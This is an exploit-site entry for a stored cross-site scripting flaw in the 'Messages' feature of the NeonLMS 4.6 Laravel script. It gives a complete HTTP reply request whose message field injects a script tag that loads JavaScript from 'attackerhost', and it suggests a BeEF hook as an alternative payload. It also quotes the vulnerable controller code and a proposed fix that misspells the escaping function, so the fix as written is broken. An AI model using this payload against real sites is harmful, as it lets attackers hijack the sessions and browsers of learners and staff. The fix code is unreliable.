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NeonLMS Learning Management System PHP Laravel Script 4.6 XSS Vulnerability
[# Exploit Title: NeonLMS - Learning Management System PHP Laravel Script - 'Messages' Persistent Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://www.neonlms.com/
# Software Link: https://codecanyon.net/item/neonlms-learning-management-system-php-laravel-script/23641351
# Affected Version: 4.6
# Tested on: Windows
# CVE : N/A
#Vulnerable Request:
POST /user/messages/reply HTTP/1.1
Host: neonlmshost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://neonlmshost/user/messages?thread=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
Connection: close
Upgrade-Insecure-Requests: 1
_token=GTpbr2our96dPg1Ojk0C1MyVWr03naCDSgGqfl2J&thread_id=1&message=<script src="//attackerhost/b.js">
#Vulnerable code
payload must be lesser than 35 characters so attacker can only include external js or some kind of beef hook etc.
app\Http\Controllers\Backend\MessagesController.php
public function getUnreadMessages(Request $request){
$unreadMessageCount = auth()->user()->unreadMessagesCount;
$unreadThreads = [];
foreach(auth()->user()->threads as $item){
if($item->unreadMessagesCount > 0){
$data = [
'thread_id' => $item->id,
'message' => str_limit($item->lastMessage->body, 35), ------>vulnerable part
'unreadMessagesCount' => $item->unreadMessagesCount,
'title' => $item->title
];
$unreadThreads[] = $data;
}
}
return ['unreadMessageCount' =>$unreadMessageCount,'threads' => $unreadThreads];
}
#fix
'message' => html_entitites(str_limit($item->lastMessage->body, 35)),
# 0day.today [2024-11-16] #